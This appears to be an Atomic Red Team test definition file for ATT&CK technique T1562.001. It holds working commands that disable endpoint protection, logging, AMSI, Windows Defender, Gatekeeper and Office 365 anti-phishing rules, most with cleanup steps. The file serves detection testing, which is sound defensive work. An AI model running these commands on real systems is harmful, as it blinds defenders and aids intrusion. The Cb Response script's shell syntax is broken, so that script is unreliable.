attack_technique: T1562.001
display_name: 'Impair Defenses: Disable or Modify Tools'
atomic_tests:
- name: Disable syslog
  auto_generated_guid: 4ce786f8-e601-44b5-bfae-9ebb15a7d1c8
  description: |
    Disables syslog collection
  supported_platforms:
  - linux
  input_arguments:
    package_checker:
      description: Package checking command for linux.
      type: String
      default: (rpm -q rsyslog 2>&1 >/dev/null) || (dpkg -s rsyslog | grep -q installed)
    package_installer:
      description: Package installer command for linux. Default yum
      type: String
      default: (which yum && yum -y epel-release rsyslog)||(which apt-get && apt-get install -y rsyslog)
    flavor_command:
      description: Command to disable syslog collection. Default newer rsyslog commands. i.e older command = service rsyslog stop ; chkconfig off rsyslog
      type: String
      default: systemctl stop rsyslog ; systemctl disable rsyslog
    cleanup_command:
      description: Command to enable syslog collection. Default newer rsyslog commands. i.e older command = service rsyslog start ; chkconfig rsyslog on
      type: String
      default: systemctl start rsyslog ; systemctl enable rsyslog
  dependency_executor_name: sh
  dependencies:
  - description: |
      Package with rsyslog must be on system
    prereq_command: |
      if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
    get_prereq_command: |
      sudo #{package_installer} 
  executor:
    command: |
      #{flavor_command}
    cleanup_command: |
      #{cleanup_command}
    name: sh
    elevation_required: true
- name: Disable Cb Response
  auto_generated_guid: ae8943f7-0f8d-44de-962d-fbc2e2f03eb8
  description: |
    Disable the Cb Response service
  supported_platforms:
  - linux
  executor:
    command: |
      if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ];
      then
        service cbdaemon stop
        chkconfig off cbdaemon
      else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ];
        systemctl stop cbdaemon
        systemctl disable cbdaemon
      fi
    name: sh
- name: Disable SELinux
  auto_generated_guid: fc225f36-9279-4c39-b3f9-5141ab74f8d8
  description: |
    Disables SELinux enforcement
  supported_platforms:
  - linux
  executor:
    command: |
      setenforce 0
    cleanup_command: |
      setenforce 1
    name: sh
    elevation_required: true
- name: Stop Crowdstrike Falcon on Linux
  auto_generated_guid: 828a1278-81cc-4802-96ab-188bf29ca77d
  description: |
    Stop and disable Crowdstrike Falcon on Linux
  supported_platforms:
  - linux
  executor:
    command: |
      sudo systemctl stop falcon-sensor.service
      sudo systemctl disable falcon-sensor.service
    cleanup_command: |
      sudo systemctl enable falcon-sensor.service
      sudo systemctl start falcon-sensor.service
    name: sh
    elevation_required: true
- name: Disable Carbon Black Response
  auto_generated_guid: 8fba7766-2d11-4b4a-979a-1e3d9cc9a88c
  description: |
    Disables Carbon Black Response
  supported_platforms:
  - macos
  executor:
    command: |
      sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist
      sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist
    cleanup_command: |
      sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.daemon.plist
      sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist
    name: sh
    elevation_required: true
- name: Disable LittleSnitch
  auto_generated_guid: 62155dd8-bb3d-4f32-b31c-6532ff3ac6a3
  description: |
    Disables LittleSnitch
  supported_platforms:
  - macos
  executor:
    command: |
      sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist
    cleanup_command: |
      sudo launchctl load -w /Library/LaunchDaemons/at.obdev.littlesnitchd.plist
    name: sh
    elevation_required: true
- name: Disable OpenDNS Umbrella
  auto_generated_guid: 07f43b33-1e15-4e99-be70-bc094157c849
  description: |
    Disables OpenDNS Umbrella
  supported_platforms:
  - macos
  executor:
    command: |
      sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist
    cleanup_command: |
      sudo launchctl load -w /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist
    name: sh
    elevation_required: true
- name: Disable macOS Gatekeeper
  auto_generated_guid: 2a821573-fb3f-4e71-92c3-daac7432f053
  description: |
    Disables macOS Gatekeeper
  supported_platforms:
  - macos
  executor:
    command: |
      sudo spctl --master-disable
    cleanup_command: |
      sudo spctl --master-enable
    name: sh
    elevation_required: true
- name: Stop and unload Crowdstrike Falcon on macOS
  auto_generated_guid: b3e7510c-2d4c-4249-a33f-591a2bc83eef
  description: |
    Stop and unload Crowdstrike Falcon daemons falcond and userdaemon on macOS
  supported_platforms:
  - macos
  input_arguments:
    falcond_plist:
      description: The path of the Crowdstrike Falcon plist file
      type: Path
      default: /Library/LaunchDaemons/com.crowdstrike.falcond.plist
    userdaemon_plist:
      description: The path of the Crowdstrike Userdaemon plist file
      type: Path
      default: /Library/LaunchDaemons/com.crowdstrike.userdaemon.plist
  executor:
    command: |
      sudo launchctl unload #{falcond_plist}
      sudo launchctl unload #{userdaemon_plist}
    cleanup_command: |
      sudo launchctl load -w #{falcond_plist}
      sudo launchctl load -w #{userdaemon_plist}
    name: sh
    elevation_required: true
- name: Unload Sysmon Filter Driver
  auto_generated_guid: 811b3e76-c41b-430c-ac0d-e2380bfaa164
  description: |
    Unloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution, o verify successful execution,
    run the prereq_command's and it should fail with an error of "sysmon filter must be loaded".
  supported_platforms:
  - windows
  input_arguments:
    sysmon_driver:
      description: The name of the Sysmon filter driver (this can change from the default)
      type: String
      default: SysmonDrv
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Sysmon must be downloaded
    prereq_command: |
      if ((cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul") -or (Test-Path $env:Temp\Sysmon\Sysmon.exe)) { exit 0 } else { exit 1 }
    get_prereq_command: |
      Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "$env:TEMP\Sysmon.zip"
      Expand-Archive $env:TEMP\Sysmon.zip $env:TEMP\Sysmon -Force
      Remove-Item $env:TEMP\Sysmon.zip -Force
  - description: |
      sysmon must be Installed
    prereq_command: |
      if(sc.exe query sysmon | findstr sysmon) { exit 0 } else { exit 1 }
    get_prereq_command: |
      if(cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul") { C:\Windows\Sysmon.exe -accepteula -i } else
      { Set-Location $env:TEMP\Sysmon\; .\Sysmon.exe -accepteula -i}
  - description: |
      sysmon filter must be loaded
    prereq_command: |
      if(fltmc.exe filters | findstr #{sysmon_driver}) { exit 0 } else { exit 1 }
    get_prereq_command: |
      sysmon -u
      sysmon -accepteula -i
  executor:
    command: |
      fltmc.exe unload #{sysmon_driver}
    cleanup_command: |
      sysmon -u -i > nul 2>&1
      sysmon -i -accepteula -i > nul 2>&1
      %temp%\Sysmon\sysmon.exe -u > nul 2>&1
      %temp%\Sysmon\sysmon.exe -accepteula -i > nul 2>&1
    name: command_prompt
    elevation_required: true
- name: Uninstall Sysmon
  auto_generated_guid: a316fb2e-5344-470d-91c1-23e15c374edc
  description: |
    Uninstall Sysinternals Sysmon for Defense Evasion
  supported_platforms:
  - windows
  input_arguments:
    sysmon_exe:
      description: The location of the Sysmon executable from Sysinternals (ignored if sysmon.exe is found in your PATH)
      type: Path
      default: PathToAtomicsFolder\T1562.001\bin\sysmon.exe
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Sysmon executable must be available
    prereq_command: |
      if(cmd /c where sysmon) {exit 0} else {exit 1}
    get_prereq_command: |
      $parentpath = Split-Path "#{sysmon_exe}"; $zippath = "$parentpath\Sysmon.zip"
      New-Item -ItemType Directory $parentpath -Force | Out-Null
      Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "$zippath"
      Expand-Archive $zippath $parentpath -Force; Remove-Item $zippath
      if(-not ($Env:Path).contains($parentpath)){$Env:Path += ";$parentpath"}
  - description: |
      Sysmon must be installed
    prereq_command: |
      if(cmd /c sc query sysmon) { exit 0} else { exit 1}
    get_prereq_command: |
      cmd /c sysmon -i -accepteula
  executor:
    command: |
      sysmon -u
    cleanup_command: |
      sysmon -i -accepteula >nul 2>&1
    name: command_prompt
    elevation_required: true
- name: AMSI Bypass - AMSI InitFailed
  auto_generated_guid: 695eed40-e949-40e5-b306-b4031e4154bd
  description: |
    Any easy way to bypass AMSI inspection is it patch the dll in memory setting the "amsiInitFailed" function to true.
    Upon execution, no output is displayed.

    https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
  supported_platforms:
  - windows
  executor:
    command: |
      [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
    cleanup_command: |
      [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$false)
    name: powershell
- name: AMSI Bypass - Remove AMSI Provider Reg Key
  auto_generated_guid: 13f09b91-c953-438e-845b-b585e51cac9b
  description: |
    With administrative rights, an adversary can remove the AMSI Provider registry key in HKLM\Software\Microsoft\AMSI to disable AMSI inspection.
    This test removes the Windows Defender provider registry key. Upon execution, no output is displayed.
    Open Registry Editor and navigate to "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\" to verify that it is gone.
  supported_platforms:
  - windows
  executor:
    command: |
      Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse
    cleanup_command: |
      New-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -Name "{2781761E-28E0-4109-99FE-B9D127C57AFE}" -ErrorAction Ignore | Out-Null
    name: powershell
    elevation_required: true
- name: Disable Arbitrary Security Windows Service
  auto_generated_guid: a1230893-56ac-4c81-b644-2108e982f8f5
  description: |
    With administrative rights, an adversary can disable Windows Services related to security products. This test requires McAfeeDLPAgentService to be installed.
    Change the service_name input argument for your AV solution. Upon exeuction, infomration will be displayed stating the status of the service.
    To verify that the service has stopped, run "sc query McAfeeDLPAgentService"
  supported_platforms:
  - windows
  input_arguments:
    service_name:
      description: The name of the service to stop
      type: String
      default: McAfeeDLPAgentService
  executor:
    command: |
      net.exe stop #{service_name}
      sc.exe config #{service_name} start= disabled
    cleanup_command: |
      sc.exe config #{service_name} start= auto >nul 2>&1
      net.exe start #{service_name} >nul 2>&1
    name: command_prompt
    elevation_required: true
- name: Tamper with Windows Defender ATP PowerShell
  auto_generated_guid: 6b8df440-51ec-4d53-bf83-899591c9b5d7
  description: |
    Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled
    in Windows settings.
  supported_platforms:
  - windows
  executor:
    command: |
      Set-MpPreference -DisableRealtimeMonitoring 1
      Set-MpPreference -DisableBehaviorMonitoring 1
      Set-MpPreference -DisableScriptScanning 1
      Set-MpPreference -DisableBlockAtFirstSeen 1
    cleanup_command: |
      Set-MpPreference -DisableRealtimeMonitoring 0
      Set-MpPreference -DisableBehaviorMonitoring 0
      Set-MpPreference -DisableScriptScanning 0
      Set-MpPreference -DisableBlockAtFirstSeen 0
    name: powershell
    elevation_required: true
- name: Tamper with Windows Defender Command Prompt
  auto_generated_guid: aa875ed4-8935-47e2-b2c5-6ec00ab220d2
  description: |
    Attempting to disable scheduled scanning and other parts of windows defender atp. These commands must be run as System, so they still fail as administrator.
    However, adversaries do attempt to perform this action so monitoring for these command lines can help alert to other bad things going on. Upon execution, "Access Denied"
    will be displayed twice and the WinDefend service status will be displayed.
  supported_platforms:
  - windows
  executor:
    command: |
      sc stop WinDefend
      sc config WinDefend start=disabled
      sc query WinDefend
    cleanup_command: |
      sc start WinDefend >nul 2>&1
      sc config WinDefend start=enabled >nul 2>&1
    name: command_prompt
    elevation_required: true
- name: Tamper with Windows Defender Registry
  auto_generated_guid: 1b3e0146-a1e5-4c5c-89fb-1bb2ffe8fc45
  description: |
    Disable Windows Defender from starting after a reboot. Upen execution, if the computer is rebooted the entire Virus and Threat protection window in Settings will be
    grayed out and have no info.
  supported_platforms:
  - windows
  executor:
    command: |
      Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1
    cleanup_command: |
      Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 0
    name: powershell
    elevation_required: true
- name: Disable Microsoft Office Security Features
  auto_generated_guid: 6f5fb61b-4e56-4a3d-a8c3-82e13686c6d7
  description: |
    Gorgon group may disable Office security features so that their code can run. Upon execution, an external document will not
    show any warning before editing the document.


    https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
  supported_platforms:
  - windows
  executor:
    command: |
      New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel"
      New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security"
      New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView"
      New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" -Value "1" -PropertyType "Dword"
      New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableInternetFilesInPV" -Value "1" -PropertyType "Dword"
      New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableUnsafeLocationsInPV" -Value "1" -PropertyType "Dword"
      New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableAttachementsInPV" -Value "1" -PropertyType "Dword"
    cleanup_command: |
      Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" -ErrorAction Ignore | Out-Null
      Remove-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -ErrorAction Ignore
    name: powershell
- name: Remove Windows Defender Definition Files
  auto_generated_guid: 3d47daaa-2f56-43e0-94cc-caf5d8d52a68
  description: |
    Removing definition files would cause ATP to not fire for AntiMalware. Check MpCmdRun.exe man page for info on all arguments.
    On later viersions of windows (1909+) this command fails even with admin due to inusfficient privelages. On older versions of windows the
    command will say completed.

    https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
  supported_platforms:
  - windows
  executor:
    command: |
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
    name: command_prompt
    elevation_required: true
- name: Stop and Remove Arbitrary Security Windows Service
  auto_generated_guid: ae753dda-0f15-4af6-a168-b9ba16143143
  description: |
    Beginning with Powershell 6.0, the Stop-Service cmdlet sends a stop message to the Windows Service Controller for each of the specified services. The Remove-Service cmdlet removes a Windows service in the registry and in the service database.
  supported_platforms:
  - windows
  input_arguments:
    service_name:
      description: The name of the service to remove
      type: String
      default: McAfeeDLPAgentService
  executor:
    command: |
      Stop-Service -Name #{service_name}
      Remove-Service -Name #{service_name}
    name: powershell
    elevation_required: true
- name: Uninstall Crowdstrike Falcon on Windows
  auto_generated_guid: b32b1ccf-f7c1-49bc-9ddd-7d7466a7b297
  description: |
    Uninstall Crowdstrike Falcon. If the WindowsSensor.exe path is not provided as an argument we need to search for it. Since the executable is located in a folder named with a random guid we need to identify it before invoking the uninstaller.
  supported_platforms:
  - windows
  input_arguments:
    falcond_path:
      description: The Crowdstrike Windows Sensor path. The Guid always changes.
      type: Path
      default: C:\ProgramData\Package Cache\{7489ba93-b668-447f-8401-7e57a6fe538d}\WindowsSensor.exe
  executor:
    command: if (Test-Path "#{falcond_path}") {. "#{falcond_path}" /repair /uninstall /quiet } else { Get-ChildItem -Path "C:\ProgramData\Package Cache" -Include "WindowsSensor.exe" -Recurse | % { $sig=$(Get-AuthenticodeSignature -FilePath $_.FullName); if ($sig.Status -eq "Valid" -and $sig.SignerCertificate.DnsNameList -eq "CrowdStrike, Inc.") { . "$_" /repair /uninstall /quiet; break;}}}
    name: powershell
    elevation_required: true
- name: Tamper with Windows Defender Evade Scanning -Folder
  auto_generated_guid: 0b19f4ee-de90-4059-88cb-63c800c683ed
  description: | 
    Malware can exclude a specific path from being scanned and evading detection. 
    Upon successul execution, the file provided should be on the list of excluded path. 
    To check the exclusion list using poweshell (Get-MpPreference).ExclusionPath 
  supported_platforms:
  - windows
  input_arguments:
    excluded_folder:
      description: This folder will be excluded from scanning
      type: Path
      default: C:\Temp
  executor:
    command: |-
      $excludedpath= "#{excluded_folder}"
      Add-MpPreference -ExclusionPath $excludedpath
    cleanup_command: | 
      $excludedpath= "#{excluded_folder}"
      Remove-MpPreference -ExclusionPath $excludedpath
    name: powershell
    elevation_required: true
- name: Tamper with Windows Defender Evade Scanning -Extension
  auto_generated_guid: 315f4be6-2240-4552-b3e1-d1047f5eecea
  description: | 
    Malware can exclude specific extensions from being scanned and evading detection. 
    Upon successful execution, the extension(s) should be on the list of excluded extensions.
    To check the exclusion list using poweshell  (Get-MpPreference).ExclusionExtension.
  supported_platforms:
  - windows
  input_arguments:
    excluded_exts:
      description: A list of extension to exclude from scanning
      type: String
      default: .exe
  executor:
    command: |-
      $excludedExts= "#{excluded_exts}"
      Add-MpPreference -ExclusionExtension  $excludedExts
    cleanup_command: | 
      $excludedExts= "#{excluded_exts}"
      Remove-MpPreference -ExclusionExtension  $excludedExts -ErrorAction Ignore
    name: powershell
    elevation_required: true
- name: Tamper with Windows Defender Evade Scanning -Process
  auto_generated_guid: a123ce6a-3916-45d6-ba9c-7d4081315c27
  description: |
    Malware can exclude specific processes from being scanned and evading detection.
    Upon successful execution, the process(es) should be on the list of excluded processes. 
    To check the exclusion list using poweshell  (Get-MpPreference).ExclusionProcess."
  supported_platforms:
  - windows
  input_arguments:
    excluded_process:
      description: A list of processes to exclude from scanning
      type: String
      default: outlook.exe
  executor:
    command: |-
      $excludedProcess = "#{excluded_process}"
      Add-MpPreference -ExclusionProcess $excludedProcess
    cleanup_command: |
      $excludedProcess = "#{excluded_process}"
      Remove-MpPreference -ExclusionProcess  $excludedProcess
    name: powershell
    elevation_required: true
- name: office-365-Disable-AntiPhishRule
  auto_generated_guid: b9bbae2c-2ba6-4cf3-b452-8e8f908696f3
  description: |
    Using the Disable-AntiPhishRule cmdlet to disable antiphish rules in your office-365 organization.
  supported_platforms:
  - office-365
  input_arguments:
    username:
      description: office-365 username
      type: String
      default: null
    password:
      description: office-365 password
      type: String
      default: null
  dependency_executor_name: powershell
  dependencies:
  - description: |
      ExchangeOnlineManagement PowerShell module must be installed
    prereq_command: |
      $RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable
      if (-not $RequiredModule) {exit 1}
      if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0}
    get_prereq_command: |
      Install-Module -Name ExchangeOnlineManagement
      Import-Module ExchangeOnlineManagement
  executor:
    command: |
      $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
      $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
      Connect-ExchangeOnline -Credential $creds
      $test = Get-AntiPhishRule
      Disable-AntiPhishRule -Identity $test.Name -Confirm:$false
      Get-AntiPhishRule
    cleanup_command: |
      if("#{password}" -ne "") {
      $secure_pwd = ("#{password}" + "") | ConvertTo-SecureString -AsPlainText -Force
      $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
      Connect-ExchangeOnline -Credential $creds
      $test = Get-AntiPhishRule
      Enable-AntiPhishRule -Identity $test.Name -Confirm:$false
      Get-AntiPhishRule
      } 
    name: powershell
    elevation_required: false
- name: Disable Windows Defender with DISM
  auto_generated_guid: 871438ac-7d6e-432a-b27d-3e7db69faf58
  description: | 
    The following Atomic will attempt to disable Windows-Defender using the built in DISM.exe, Deployment Image Servicing and Management tool. 
    DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images.
    A successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed.
    This method will remove Defender and it's package.
  supported_platforms:
  - windows
  executor:
    command: |-
      Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet
    name: command_prompt
    elevation_required: true
- name: Disable Defender with Defender Control
  auto_generated_guid: 178136d8-2778-4d7a-81f3-d517053a4fd6
  description: |
    Attempting to use Defender Control software to disable Windows Defender. Upon successful execution, Windows Defender will be turned off. 
  supported_platforms:
  - windows
  input_arguments:
    DefenderID:
      description: Defender ID that is used as a sort of passcode to disable it within Defender Control from the command line. The machine-specific Defender ID can be obtained within Defender Control by going to menu, command line info, and then retrieving the 4 character passcode to continue (listed after defendercontrol /d /id in the command line info window). 
      type: String
      default: FFFF
    DefenderControlExe:
      description: Path to Defender Control software version 1.6. 
      type: String
      default: $env:temp\DefenderControl\DefenderControl\DefenderControl.exe
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Defender Control must be installed on the machine. 
    prereq_command: |
      if (Test-Path #{DefenderControlExe}) {exit 0} else {exit 1}
    get_prereq_command: |
      Start-BitsTransfer -Source "https://web.archive.org/web/20201210152711/https://www.sordum.org/files/download/defender-control/DefenderControl.zip" -Destination "$env:temp\defendercontrol.zip" -dynamic
      expand-archive -LiteralPath "$env:temp\defendercontrol.zip" -DestinationPath "$env:temp\DefenderControl"
  executor:
    command: |
      cmd /c #{DefenderControlExe} /D #{DefenderID} | Out-Null
    cleanup_command: |
      cmd /c #{DefenderControlExe} /E | Out-Null
    name: powershell
    elevation_required: true  
